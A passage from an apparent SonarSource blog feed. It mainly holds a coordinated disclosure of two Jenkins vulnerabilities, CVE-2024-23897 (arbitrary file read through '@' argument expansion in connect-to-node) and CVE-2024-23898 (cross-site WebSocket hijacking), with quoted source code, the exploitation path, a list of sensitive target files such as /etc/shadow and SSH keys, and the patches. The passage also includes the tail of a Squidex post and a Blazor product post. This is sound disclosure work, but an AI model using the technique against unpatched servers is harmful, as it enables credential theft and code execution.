  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Action&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-10-11&lt;/td&gt;&lt;td&gt;We report all issues to the maintainers.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-10-26&lt;/td&gt;&lt;td&gt;We ask the maintainers for an update.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-10-26&lt;/td&gt;&lt;td&gt;The maintainers confirm the issues.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-10-27&lt;/td&gt;&lt;td&gt;We help the maintainers to fix both issues.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-11-08&lt;/td&gt;&lt;td&gt;The maintainers release the patched version 7.9.0.&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;In this blog post, we outlined the importance of verifying an event’s origin. We have seen how the absence of a check like this can quickly result in a severe impact. For Squidex, attackers could leverage the missing check to craft a malicious link, which triggers an XSS attack to gain remote code execution via an additional arbitrary file write vulnerability.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;From a developer’s point of view, a check like this can be easily forgotten because it needs to be consistently applied to all event listeners throughout the whole code base. That’s where our SAST-based Clean Code solution provides irreplaceable benefits. By leveraging the analysis power of &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/&quot;&gt;SonarQube&lt;/a&gt; or &lt;a href=&quot;https://www.sonarsource.com/products/sonarcloud/&quot;&gt;SonarCloud&lt;/a&gt; you can ensure that your code stays consistent, intentional, adaptable, and responsible. You don’t even want to introduce issues in the first place? With &lt;a href=&quot;https://www.sonarsource.com/products/sonarlint/&quot;&gt;SonarLint&lt;/a&gt; you can follow a &lt;a href=&quot;https://www.sonarsource.com/solutions/our-unique-approach/&quot;&gt;Clean as You Code&lt;/a&gt; approach right from your IDE of choice.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;At last, we would like to thank the Squidex maintainers for confirming our findings and working together with us on a patch to fix these. Thank you!&lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/pfsense-vulnerabilities-sonarcloud/&quot;&gt;pfSense Security: Sensing Code Vulnerabilities with SonarCloud&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/openrefine-zip-slip/&quot;&gt;Unzipping Dangers: OpenRefine Zip Slip Vulnerability&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/pimcore-one-click-two-security-vulnerabilities/&quot;&gt;Pimcore: One click, two security vulnerabilities&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/openemr-remote-code-execution-in-your-healthcare-system/&quot;&gt;OpenEMR - Remote Code Execution in your Healthcare System&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Excessive Expansion: Uncovering Critical Security Vulnerabilities in Jenkins]]></title><description><![CDATA[This blog uncovers two vulnerabilities, a Critical and High severity, recently discovered by our research team. Exploiting these vulnerabilities, attackers have the potential to gain Remote Code Execution on a Jenkins instance.]]></description><link>https://www.sonarsource.com/blog/excessive-expansion-uncovering-critical-security-vulnerabilities-in-jenkins</link><guid isPermaLink="false">db1c768d-59a2-5f56-860d-49a6f796f54c</guid><dc:creator><![CDATA[Yaniv Nizry]]></dc:creator><pubDate>Wed, 24 Jan 2024 23:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Key Information&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;Sonar’s Vulnerability Research Team has discovered security vulnerabilities in Jenkins, the leading open-source Continuous Integration and Continuous Deployment (CI/CD) software.&lt;/li&gt;&lt;li&gt;The discovered Critical vulnerability tracked as CVE-2024-23897 allows unauthenticated attackers to read a limited amount of arbitrary files’ data, and &amp;quot;read-only&amp;quot; authorized attackers to an entire arbitrary file from Jenkins’ server.&lt;/li&gt;&lt;li&gt;Attackers could leverage this vulnerability, by reading Jenkins secrets, to escalate privileges to admin and eventually execute arbitrary code on the server.&lt;/li&gt;&lt;li&gt;The discovered High severity, cross-site WebSocket hijacking (CSWSH), vulnerability tracked as CVE-2024-23898, allows an attacker to execute arbitrary CLI commands by manipulating a victim to click on a link.&lt;/li&gt;&lt;li&gt;The vulnerabilities were fixed in Jenkins versions 2.442, and LTS 2.426.3.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Jenkins is the leading open-source automation server widely used for building, deploying, and automating software projects. Originally developed as Hudson, Jenkins has evolved into a powerful tool for continuous integration and continuous delivery (CI/CD). It enables developers to automate various aspects of the software development lifecycle, including building, testing, and deploying applications. With a market share of approximately &lt;a href=&quot;https://cd.foundation/announcement/2023/08/29/jenkins-project-growth/&quot;&gt;44% in 2023&lt;/a&gt;, the popularity of Jenkins is evident. This means the potential impact of security vulnerabilities in Jenkins is large.&lt;/p&gt;&lt;h2&gt;Vulnerabilities Impact&lt;/h2&gt;&lt;p&gt;Unauthenticated attackers can read the first few lines of arbitrary files from the server, while read-only authorized attackers can read the entire file. This could ultimately lead to the execution of arbitrary code in some cases (CVE-2024-23897). If one of the following conditions is met, even unauthenticated users have at least read permission:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Legacy mode authorization is enabled.&lt;/li&gt;&lt;li&gt;Configuration “Allow anonymous read access” is checked in the “logged-in users can do anything” authorization mode.&lt;/li&gt;&lt;li&gt;The signup feature is enabled.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The second vulnerability (CVE-2024-23898) resides within the WebSocket CLI feature, which lacks an origin check, allowing Cross-Site WebSocket Hijacking (CSWSH). This vulnerability might be exploited by sending a malicious link to a victim. Certain modern web browsers implement a “&lt;a href=&quot;https://caniuse.com/mdn-http_headers_set-cookie_samesite_lax_default&quot;&gt;lax by default&lt;/a&gt;” policy, which serves as a potential safeguard against this vulnerability. Nonetheless, given that some widely used browsers like Safari and Firefox do not strictly enforce this policy, and considering the associated risks of potential &lt;a href=&quot;https://portswigger.net/web-security/csrf/bypassing-samesite-restrictions#bypassing-samesite-lax-restrictions-with-newly-issued-cookies&quot;&gt;bypass&lt;/a&gt; techniques or users using outdated browsers, the severity classification for this vulnerability is High.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/ucs-XF5X3bE&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;Technical Details&lt;/h2&gt;&lt;p&gt;In this section of the blog, we will explore our findings taking a deeper dive into the code, to understand the vulnerabilities and how an attacker could exploit them. During the Jenkins security team’s triaging of our report, they found further ways to exploit the first vulnerability (CVE-2024-23897) using an unauthenticated user. The following &amp;quot;Technical Details&amp;quot; covers the attack scenario of a read-only capable attacker. &lt;/p&gt;&lt;h3&gt;Background&lt;/h3&gt;&lt;p&gt;Jenkins provides multiple ways of authorization, the unsafe &lt;em&gt;“anyone can do anything”&lt;/em&gt;, the “&lt;em&gt;legacy”&lt;/em&gt; permissions, and “&lt;em&gt;logged-in users can do anything”&lt;/em&gt;. The latter authorization method allows the option for anonymous read access and gives read permission to anyone, which is also the case in the &lt;em&gt;legacy&lt;/em&gt; mode.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/f98e4284-d45d-4708-88c3-be85efa76b45/Anonymous_example.png&quot; /&gt;&lt;p&gt;On top of that, there is also the not recommended option to &lt;em&gt;“Allow users to sign up”,&lt;/em&gt; which makes everyone at least read-only capable.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;According to the &lt;a href=&quot;https://www.jenkins.io/doc/book/security/access-control/permissions/#overall-read&quot;&gt;official documentation&lt;/a&gt;, read-only access allows users to:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Access the basic Jenkins API and the API of any object they have access to.&lt;/li&gt;&lt;li&gt;Access the people directory listing user accounts and known committer identities of anyone involved in visible projects.&lt;/li&gt;&lt;li&gt;List and view all agents configured in Jenkins and access their summary pages.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;On the other hand, &lt;a href=&quot;https://www.jenkins.io/doc/book/security/access-control/permissions/#administer&quot;&gt;administrators&lt;/a&gt; can pretty much do everything on a Jenkins instance. From an attacker&amp;#x27;s point of view, admins can run arbitrary code on a Jenkins server.&lt;/p&gt;&lt;h3&gt;Jenkins-CLI Feature Background&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://www.jenkins.io/doc/book/managing/cli/&quot;&gt;Jenkins-CLI&lt;/a&gt; provides users with a built-in command line interface to execute custom commands that are implemented in the &lt;a href=&quot;https://github.com/jenkinsci/jenkins/tree/jenkins-2.441/core/src/main/java/hudson/cli&quot;&gt;hudson/cli&lt;/a&gt; directory of the Jenkins Git repository.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Aside from the common ways of invoking a command, using &lt;code&gt;jenkins-cli.jar&lt;/code&gt; (which utilizes web sockets) or SSH, we found out that there is an additional option by sending two POST requests to &lt;code&gt;http://jenkins/cli?remoting=false&lt;/code&gt;. &lt;br/&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;When &lt;a href=&quot;https://github.com/jenkinsci/stapler&quot;&gt;Stapler&lt;/a&gt; (Jenkins&amp;#x27; component that correlates a method to an endpoint) is &lt;a href=&quot;https://github.com/jenkinsci/stapler/blob/ea4fc6ed8cd1b5eca6b4ce80b35654da9376e2bc/core/src/main/java/org/kohsuke/stapler/Stapler.java#L725&quot;&gt;getting&lt;/a&gt; the relevant method of the &lt;em&gt;“/cli”&lt;/em&gt; path, the endpoint will throw a &lt;a href=&quot;https://github.com/jenkinsci/jenkins/blob/3b0de10df3bedba515e13032104d4d84f83045be/core/src/main/java/hudson/cli/CLIAction.java#L195&quot;&gt;PlainCliEndpointResponse()&lt;/a&gt; exception, which will end up in this &lt;a href=&quot;https://github.com/jenkinsci/jenkins/blob/824f64c23e52e5c765cc7604414740aab3436f8d/core/src/main/java/jenkins/util/FullDuplexHttpService.java#L166&quot;&gt;generateResponse&lt;/a&gt; function:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;public void generateResponse(StaplerRequest req, StaplerResponse rsp, Object node) throws IOException, ServletException {
    try {
        UUID uuid = UUID.fromString(req.getHeader(&quot;Session&quot;));
        //...
        if (req.getHeader(&quot;Side&quot;).equals(&quot;download&quot;)) {
            FullDuplexHttpService service = createService(req, uuid);
            //...
            try {
                service.download(req, rsp);
            }
            //...
        } else {
            FullDuplexHttpService service = services.get(uuid);
            //...
            try {
                service.upload(req, rsp);
            }
            //...
}
}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This function requires a downloader and uploader. The downloader returns the command’s response, and the uploader invokes a specified command from the body of the request. Jenkins connects them (downloader and uploader) using the UUID from the &lt;code&gt;​​Session&lt;/code&gt; header.&lt;/p&gt;&lt;h3&gt;Data Leak Vulnerability (CVE-2024-23897)&lt;/h3&gt;&lt;p&gt;When invoking a CLI command with arguments, we have noticed that Jenkins uses &lt;a href=&quot;https://github.com/kohsuke/args4j&quot;&gt;args4j’s&lt;/a&gt; &lt;a href=&quot;https://github.com/jenkinsci/jenkins/blob/3b0de10df3bedba515e13032104d4d84f83045be/core/src/main/java/hudson/cli/CLICommand.java#L248&quot;&gt;parseArgument&lt;/a&gt;, which &lt;a href=&quot;https://github.com/kohsuke/args4j/blob/fc458a24d6bd08b58fdd0bd7e37acb08200eac59/args4j/src/org/kohsuke/args4j/CmdLineParser.java#L479&quot;&gt;calls&lt;/a&gt; &lt;a href=&quot;https://github.com/kohsuke/args4j/blob/fc458a24d6bd08b58fdd0bd7e37acb08200eac59/args4j/src/org/kohsuke/args4j/CmdLineParser.java#L548&quot;&gt;expandAtFiles&lt;/a&gt;:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;private String[] expandAtFiles(String args[]) throws CmdLineException {
    List&lt;String&gt; result = new ArrayList&lt;String&gt;();
    for (String arg : args) {
        if (arg.startsWith(&quot;@&quot;)) {
            File file = new File(arg.substring(1));
            if (!file.exists())
                throw new CmdLineException(this,Messages.NO_SUCH_FILE,file.getPath());
            try {
                result.addAll(readAllLines(file));
            } catch (IOException ex) {
                throw new CmdLineException(this, &quot;Failed to parse &quot;+file,ex);
            }
        } else {
            result.add(arg);
        }
    }
    return result.toArray(new String[result.size()]);
}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The function checks if the argument starts with the @ character, and if so, it reads the file in the path after the @ and expands a new argument for each line. &lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/9bbe4ad4-49bc-46c9-aea2-7677372913fe/ExpandAtFile_graph.png&quot; /&gt;&lt;p&gt;This means that if an attacker can control an argument, they can expand it to an arbitrary number of ones from an arbitrary file on the Jenkins instance.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;One way an attacker could leverage this is to find a command that takes an arbitrary number of arguments and displays these back to the user. Since the arguments are populated from the contents of the file, an attacker could leak the file contents this way. We found the command &lt;a href=&quot;https://github.com/jenkinsci/jenkins/blob/jenkins-2.441/core/src/main/java/hudson/cli/ConnectNodeCommand.java&quot;&gt;connect-to-node&lt;/a&gt; to be a good candidate: it receives a &lt;a href=&quot;https://github.com/jenkinsci/jenkins/blob/824f64c23e52e5c765cc7604414740aab3436f8d/core/src/main/java/hudson/cli/ConnectNodeCommand.java#L46&quot;&gt;list of strings as an argument&lt;/a&gt; and tries to connect to each one. If it fails, an error message is generated with the name of the failed connected node. &lt;/p&gt;&lt;pre&gt;&lt;code&gt;public class ConnectNodeCommand extends CLICommand {
    //...
    @Argument(metaVar = &quot;NAME&quot;, usage = &quot;Agent name, or empty string for built-in node; comma-separated list is supported&quot;, required = true, multiValued = true)
    private List&lt;String&gt; nodes;
    //...

    @Override
    protected int run() throws Exception {
        //...
        for (String node_s : hs) {
            try {
                Computer computer = Computer.resolveForCLI(node_s);
                computer.cliConnect(force);
            } catch (Exception e) {
                //...
                final String errorMsg = node_s + &quot;: &quot; + e.getMessage();
                stderr.println(errorMsg);
                //...
            }
        }
        //...
    }
}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This &lt;a href=&quot;https://github.com/jenkinsci/jenkins/blob/jenkins-2.441/core/src/main/java/hudson/cli/ConnectNodeCommand.java&quot;&gt;connect-to-node&lt;/a&gt; command would usually require the CONNECT permission, which is verified in the &lt;a href=&quot;https://github.com/jenkinsci/jenkins/blob/3b0de10df3bedba515e13032104d4d84f83045be/core/src/main/java/hudson/model/Computer.java#L483&quot;&gt;cliConnect&lt;/a&gt; function. But since the exception is thrown before the permission check in the &lt;a href=&quot;https://github.com/jenkinsci/jenkins/blob/3b0de10df3bedba515e13032104d4d84f83045be/core/src/main/java/hudson/model/Computer.java#L1676&quot;&gt;resolveForCLI&lt;/a&gt; function, the command actually doesn’t require any authorizations apart from the initial &lt;a href=&quot;https://github.com/jenkinsci/jenkins/blob/3b0de10df3bedba515e13032104d4d84f83045be/core/src/main/java/hudson/cli/CLICommand.java#L247&quot;&gt;read-only verification&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Achieving code execution from arbitrary file read is dependent on the context. Some potentially interesting files for attackers could be:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;SSH keys&lt;/li&gt;&lt;li&gt;/etc/passwd, /etc/shadow&lt;/li&gt;&lt;li&gt;Project secrets and credentials (refer to Jenkins&amp;#x27; &lt;a href=&quot;https://www.jenkins.io/security/advisory/2024-01-24/&quot;&gt;advisory&lt;/a&gt; for more information)&lt;/li&gt;&lt;li&gt;Source code, build artifacts&lt;/li&gt;&lt;li&gt;and more… &lt;/li&gt;&lt;/ul&gt;&lt;h4&gt;Binary Files Reading Limitations &lt;/h4&gt;&lt;p&gt;When a file is read, the process&amp;#x27;s default character encoding is used, which is UTF-8 for most deployments. Because of this, any invalid UTF-8 sequence (statistically almost 50% of all bytes, assuming an equal distribution) would be replaced by the sequence &lt;code&gt;0xef 0xbf 0xbd&lt;/code&gt; and cause data loss. &lt;br/&gt;Some other encodings (such as Windows-1252, commonly used by instances running on Windows) would make it more feasible to exfiltrate binary data.&lt;/p&gt;&lt;h3&gt;CSWSH Vulnerability (CVE-2024-23898)&lt;/h3&gt;&lt;p&gt;As mentioned earlier, one of the ways to invoke the &lt;a href=&quot;https://www.jenkins.io/doc/book/managing/cli/&quot;&gt;Jenkins-CLI&lt;/a&gt; commands is by web sockets (which is the implementation of &lt;code&gt;jenkins-cli.jar&lt;/code&gt;). &lt;br/&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;It is known that browsers don’t enforce SOP and CORS policies on WebSockets: “Cross-origin restrictions imposed by SOP and CORS policies do not apply to WebSockets because those restrictions are placed on HTTP responses while WebSockets work over WS(WebSocket) or WSS(WebSocketSecure) protocols.” (&lt;a href=&quot;https://dev.to/pssingh21/websockets-bypassing-sop-cors-5ajm&quot;&gt;source&lt;/a&gt;).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Since there is no Jenkins-crumb (CSRF token) nor Origin header check in the web sockets requests, any website can use &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/WebSockets_API&quot;&gt;WebSockets&lt;/a&gt; to invoke Jenkins-CLI commands with the victim&amp;#x27;s identity, in a similar fashion to CSRF vulnerabilities.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h3&gt;Patch&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The Jenkins security team patched CVE-2024-23897 by adding a secure configuration, which disables the “&lt;a href=&quot;https://github.com/kohsuke/args4j/blob/fc458a24d6bd08b58fdd0bd7e37acb08200eac59/args4j/src/org/kohsuke/args4j/CmdLineParser.java#L478&quot;&gt;expandAtFiles&lt;/a&gt;” feature.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;+  public static boolean ALLOW_AT_SYNTAX = SystemProperties.getBoolean(CLICommand.class.getName() + &quot;.allowAtSyntax&quot;);
//...
-    return new CmdLineParser(this);
+    ParserProperties properties = ParserProperties.defaults().withAtSyntax(ALLOW_AT_SYNTAX);
+    return new CmdLineParser(this, properties);
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;And CVE-2024-23898 was patched by adding an origin verification to the WebSocket endpoint (The &lt;code&gt;ALLOW&lt;/code&gt; parameter serves as a toggle, granting administrators the ability to override the updated default behavior. Giving the option to consistently permit or deny access to the WS CLI, irrespective of the Origin):&lt;/p&gt;&lt;pre&gt;&lt;code&gt;public HttpResponse doWs(StaplerRequest req) {
    if (!WebSockets.isSupported()) {
        return HttpResponses.notFound();
    }
+    if (ALLOW == null) {
+        final String actualOrigin = req.getHeader(&quot;Origin&quot;);
+        final String expectedOrigin = StringUtils.removeEnd(StringUtils.removeEnd(+Jenkins.get().getRootUrlFromRequest(), &quot;/&quot;), req.getContextPath());
+
+        if (actualOrigin == null || !actualOrigin.equals(expectedOrigin)) {
+            LOGGER.log(Level.FINE, () -&gt; &quot;Rejecting origin: &quot; + actualOrigin + &quot;; expected was from request: &quot; + +expectedOrigin);
+            return HttpResponses.forbidden();
+        }
+    } else if (!ALLOW) {
+        return HttpResponses.forbidden();
+    }
    Authentication authentication = Jenkins.getAuthentication2();
&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Action&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-11-13&lt;/td&gt;&lt;td&gt;We reported all issues to the Jenkins Security team&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-11-13&lt;/td&gt;&lt;td&gt;Maintainers acknowledged the report&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-11-24&lt;/td&gt;&lt;td&gt;Maintainers confirmed the issues&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-12-12&lt;/td&gt;&lt;td&gt;We helped the vendor verify the fix&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2024-01-10&lt;/td&gt;&lt;td&gt;&lt;p&gt;Maintainers updated us on other attack scenarios&amp;nbsp;&lt;/p&gt;
&lt;p&gt;and the classification of Critical and High for our findings&lt;/p&gt;
&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2024-01-24&lt;/td&gt;&lt;td&gt;&lt;p&gt;Maintainers assigned CVEs, and&amp;nbsp;&lt;/p&gt;
&lt;p&gt;released &lt;a href=&quot;https://www.jenkins.io/security/advisory/2024-01-24/&quot;&gt;advisory&lt;/a&gt; and patch versions 2.442, and LTS 2.426.3.&lt;/p&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;In this blog, we uncovered two vulnerabilities on Jenkins, the first one leverages the “&lt;a href=&quot;https://github.com/kohsuke/args4j/blob/fc458a24d6bd08b58fdd0bd7e37acb08200eac59/args4j/src/org/kohsuke/args4j/CmdLineParser.java#L479&quot;&gt;expandAtFiles&lt;/a&gt;” functionality to read arbitrary files and eventually execute arbitrary code on the server. The second finding has the potential to execute arbitrary commands as the victim, by manipulating them to visit a malicious link.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;At Sonar, we emphasize the importance of Clean Code principles. Doing so creates software characterized by clarity, maintainability, and comprehensibility. These attributes not only help the identification and resolution of vulnerabilities throughout the development process but also lower the likelihood of introducing security weaknesses that malicious actors might exploit.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Lastly, we would like to give huge kudos to the Jenkins team, who quickly and professionally assessed our findings, maintained great communication throughout the disclosure process, and provided a comprehensive fix. Thank you!&lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/teamcity-vulnerability/&quot;&gt;Source Code at Risk: Critical Code Vulnerability in CI/CD Platform TeamCity&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/gocd-pre-auth-pipeline-takeover/&quot;&gt;Agent 007: Pre-Auth Takeover of Build Pipelines in GoCD&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/gocd-vulnerability-chain/&quot;&gt;Agent 008: Chaining Vulnerabilities to Compromise GoCD&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Blazor]]></title><description><![CDATA[Sonar is helping make C# code clean as Microsoft ASP.NET Core Blazor application development grows]]></description><link>https://www.sonarsource.com/blog/blazor</link><guid isPermaLink="false">3509af77-87f5-5071-9832-7d004855ca02</guid><dc:creator><![CDATA[Denis Troller]]></dc:creator><pubDate>Tue, 23 Jan 2024 19:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Developers care about code. They care about code a lot. They care about writing it, reviewing it, and maintaining it. They want Clean Code, and the eight million .NET developers are no different. They have been enjoying the power of Roslyn analyzers delivered by Microsoft for a long time, and we are here to take that power to 11!&lt;/p&gt;&lt;h6&gt;&lt;strong&gt;Today, we expanded our support for the Microsoft ASP.NET Core Blazor framework by adding new rules targeting Razor components.&lt;/strong&gt;&lt;/h6&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We’ve been helping .NET developers create Clean Code for over a decade with our &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/&quot;&gt;SonarQube&lt;/a&gt;, &lt;a href=&quot;https://www.sonarsource.com/products/sonarcloud/&quot;&gt;SonarCloud&lt;/a&gt;, and &lt;a href=&quot;https://www.sonarsource.com/products/sonarlint/&quot;&gt;SonarLint&lt;/a&gt; products. In 2015, we partnered with Microsoft to improve the integration of Sonar analyzers for the .NET ecosystem. Since then, we’ve been continually improving our analysis. We now provide over 450 rules and cover specific cases such as Microsoft Azure Functions, Cognitive Complexity, Async-Await usage, Multi-Threading, or DateTime usage. We bring taint analysis, complex bug detection, secrets detection, and more right to your fingertips. And yes, we do support Microsoft Visual Basic .NET! We cover code in Azure DevOps, GitHub, GitLab, and Bitbucket, allowing developers to take a Clean as You Code approach to building great applications, whatever their tools and processes.&lt;/p&gt;&lt;h2&gt;What is Blazor?&lt;/h2&gt;&lt;p&gt;Blazor is the latest part of Microsoft ASP.NET Core technology, which allows you to code your UI with a mix of C# code and HTML presentation. It can run on the server or in the client and can also be used on the desktop in .NET MAUI applications. You can find much more information on &lt;a href=&quot;https://dotnet.microsoft.com/en-us/apps/aspnet/web-apps/blazor&quot;&gt;Microsoft’s Blazor website&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Blazor&amp;#x27;s robust component model allows you to separate your user interface into smaller elements and then combine those elements to create larger functionalities. The Blazor framework is a game changer for companies, allowing C# developers to use their skills to build front-end UI without using JavaScript. The same CLR you are used to, with its same base class library, is available to you in the browser, thanks to the power of &lt;a href=&quot;https://webassembly.org/&quot;&gt;WebAssembly&lt;/a&gt; (WASM), an open standard supported by all 4 major browsers. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;With Blazor, it becomes possible to modernize applications by moving pieces of it to the client, where it can give you the power of dynamic UI you have become accustomed to without learning new languages, frameworks, and toolchains.&lt;/p&gt;&lt;h2&gt;Why Blazor applications?&lt;/h2&gt;&lt;p&gt;Our goal is to analyze all .NET code, wherever it lives, and Blazor has seen a fantastic uptake from the community, with open-source projects like the Oqtane CMS framework going all-in on Blazor as the UI piece of the puzzle, the MudBlazor UI component library, or the ABP web application framework. We believe the same type of component ecosystem we have enjoyed over the years with Windows Forms or WPF will grow around Blazor.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Allowing C# developers to take their long-honed skills up to the web client has been a long sought-after feature, and it is finally here! And it is here to stay.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Sonar listened to the growing call of the .NET developer community to support them as they build front-end apps in the same way we currently support them in building backend or desktop applications. More and more C# code will live in .cshtml or .razor files, and it is our mission to ensure we give .NET developers the tools they need to keep that code as clean as the rest of their code.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We are excited to announce that Sonar now supports the analysis of Razor templates, which are at the core of the Blazor front-end web framework. Because SonarCloud and SonarQube can now analyze the C# code inside .cshtml and .razor files, you can extend clean coding practices across your full-stack web applications developed with &lt;a href=&quot;http://asp.net&quot;&gt;ASP.NET&lt;/a&gt; Core MVC, Razor Pages, and Blazor. We also released an update to support .NET 8 and C# 12 before the official release so you can adopt our favorite framework&amp;#x27;s newest LTS release on day one.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We have been, and continue to be, hard at work with Microsoft to bring all this to you. For this, we extend our thanks to their teams.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We analyzed a roster of Blazor-based open-source projects. Here is a sample of the issues we found in the C# code present in Razor files that you could not see before. These reflect common code maintenance challenges, often encountered as a codebase evolves, reaffirming the need for comprehensive code analysis regardless of experience level:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Unused variables or members&lt;/li&gt;&lt;li&gt;Unused methods&lt;/li&gt;&lt;li&gt;High cognitive complexity in methods&lt;/li&gt;&lt;li&gt;Possible null dereferencing&lt;/li&gt;&lt;li&gt;Members that should be read-only&lt;/li&gt;&lt;li&gt;Cascading if statements&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;What’s next in Blazor analysis?&lt;/h2&gt;&lt;p&gt;We continue investing in Blazor and have, in fact, released the first set of rules explicitly targeted to discover issues in your Blazor web app. You can detect such problems as unsupported parameter types, misuse of JSInterop, or mismatched parameter types with their route constraints.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If you are a Sonar user, you can now use Razor files and Blazor components in your application, confident that we will bring you the same insights here as what you are used to on the rest of your code!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If you are yet to become a Sonar user, check out everything our tools and the &lt;a href=&quot;https://www.sonarsource.com/solutions/our-unique-approach/&quot;&gt;Clean As You Code&lt;/a&gt; approach can bring to your development process. Whether your tools run in the cloud or 